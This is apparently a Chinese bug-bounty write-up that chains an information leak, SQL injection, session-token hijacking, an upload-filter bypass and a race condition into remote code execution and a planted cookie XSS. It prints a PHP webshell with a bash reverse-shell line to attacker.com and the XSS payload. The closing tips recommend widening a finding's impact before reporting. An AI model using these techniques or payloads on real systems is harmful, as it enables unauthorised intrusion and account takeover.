前言
[出自:jiwo.org]
在bugcrowd上挖漏洞的时候,我发现基于cookie型的XSS漏洞,给出的评级仅是P5,并没有达到严重的程度,这将会导致可能拿不到奖金,这是非常遗憾的一件事情。
信息泄露
在bugcrowd中搜索一段时间之后,我并没有找到具有XSS漏洞的子域名,然后我试着使用目录爆破进行查找,在其中一个子域名上,我找到了一个有趣的文件。
https://redacted.com/dir/_notes/dwsync.xml
文件dwsync.xml是由Dreamweaver生成的,这个文件中包含与网站文件相关的信息。
SQL注入
默认情况下,访问网站需要凭据,然而,我无法在该网站上注册账户。上面我爆破得到的信息利用一下,根据dwsync.xml文件中的信息,我们可以获得与目标网站上的文件相关的信息。所以我试图访问其中一个文件,例如我试图访问该文件redacted.php。
在网站上看到会出现一条错误消息Undefined index: ver,这意味着在页面上有一些ver尚未定义的变量。为此,我还将URL更改为:
https:
页面的外观不仅发生变化,而且还显示数字1
虽然,不知道数字1的含义是什么,但是看到URL中的参数,我试着在符号上添加参数,结果......
这个回显的错误看起来很熟悉,我立即尝试在SQLmap的帮助下进行SQL注入。获得下面的数据库列表:
-
available databases [5]:
-
[*] information_schema
-
[*] mysql
-
[*] performance_schema
-
[*] redacted_db
-
[*] tmp
身份验证绕过
由于已经发现了SQL注入漏洞,我试着将shell上传到目标服务器,但是结果失败了,所以我只能使用通过使用sql注入得到的网站数据,登录网站。
在提取redacted_db数据库时,我找到了一个名为user_tbl的表,在表格user中,提供了目标站点很多信息,但是很不幸的是,password使用了MD5进行加密,当我试着破解的时候,没有得到任何反应。
我只能去找在该数据库中的其它表,继续深入,我找到一个名为session_tbl的表,在该表中,只有三个列:id,user_id和session。
我认为session中包含该网站的用户,我在user_tbl表中,查找具有更高级别的用户,并在表中查找session列,
然后,我尝试使用会话名称将从数据库获得的会话session值输入到Cookie网站中,最后我成功的登录了该网站。
无限制的文件上传
在登录目标站点之后,我继续寻找其它可以被利用的漏洞,在网站有一个文件上传的功能,我试着测试一下。
我尝试上传后缀名为.phtml的文件,但是被拒绝上传。
但我怀疑,过滤器只能在客户端运行。也就是说,有可能在Burpsuite等工具的帮助下绕过这个过滤。所以我试着使用burp,再次上传文件,这次是的后缀名是:.jpg,然后使用Burpsuite拦截,将后缀名改为.phtml的后缀名。
使用上述方法后,文件已经成功上传,查看响应,该文件存储在AWS中,而不是存储在目标站点上。
https:
远程代码执行
发现上传的文件存储在AWS中,知道自己在这个文件上可以做的事情并不多,因为我们的目标是Web服务器而不是AWS服务器。所以我也尝试了解目标服务器显示的响应。
/var/www/html/redacted/../redacted****/var/www/html/redacted/../redacted/info.phtml<br>Uploading part 2 of /var/www/html/redacted/../redacted/info.phtml.Uploaded /var/www/html/redacted/../redacted/info.phtml to https://storage-redacted.s3-ap-southeast-1.amazonaws.com/redacted_dir/redacted_file.phtml.SUCCESS 52673, 98235
从上面的响应中,我假设上传的文件除了存储在AWS上之外,有可能存储在目标站点的redacted目录下。所以我尝试访问以下网址:
https://redacted.com/redacted/redacted/info.phtml
但是找不到该文件
经过一段时间的思考之后,我认为如果回响显示目录,那么redacted与我上传的文件肯定是相关的。
假设:我们上传的文件存储在redacted中的sementara目录下,然后经过一段时间转移AWS服务器中的lempar目录下。
如果上述的假设是正确的,那么在转移到AWS之前,我们的文件将在目标站点的服务器上停留一段时间。
为了验证这个假设,我使用burpsuite进行爆破redacted前面目录中文件的url。
有一段时间该文件位于目标服务器上(HTTP回显是200的时候),并且在该文件消失不久(HTTP回显是404的时候),表明该文件已经转移至AWS服务器中。
根据上面的描述,我们可以上传PHP webshell以从目标网站拿到shell
<?phpexec("/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/1337 0>&1'");
最后我还可以访问目标服务器。
在拿到shell之后,我放置了一个包含javascript的HTML文件,以便在该网站上触发XSS攻击。
使用的HTML代码如下
<script>document。cookie = "evil=%3Cimg%20src%3Dx%20onerror%3Dalert%281%29%3E@;path=/;domain=.redacted.com;";</script>
我们可以在redacted.com上创建一个名为Evil的cookie,cookie中包含XSS payload:<img src=x onerror=alert(1)>,因此,当访问该站点时,将加载Cookie并触发XSS。
结论
下面总结一些挖漏洞的技巧:
-
当发现低危漏洞时,最好不要立即上报,尽量扩大漏洞影响范围。
-
如果你发现该网站没有注册功能,使用dirsearch对目录进行爆破,爆破之后发现网站只显示一个登录页面,并没有注册功能,说明该网站只能由内部人员进行访问,对于这种类型的网站,通常漏洞还是很多的。
-
如果你发现SQL注入并且数据库上的用户名密码经过加密,可以查询该数据库下面的其它表,可能会有其它发现。
-
当你找到上传的测试点时,如果无法上传hell,尝试使用burp 更改上传文件的后缀名,进行上传操作。
感谢你的阅读,希望这篇文章可以给你启发。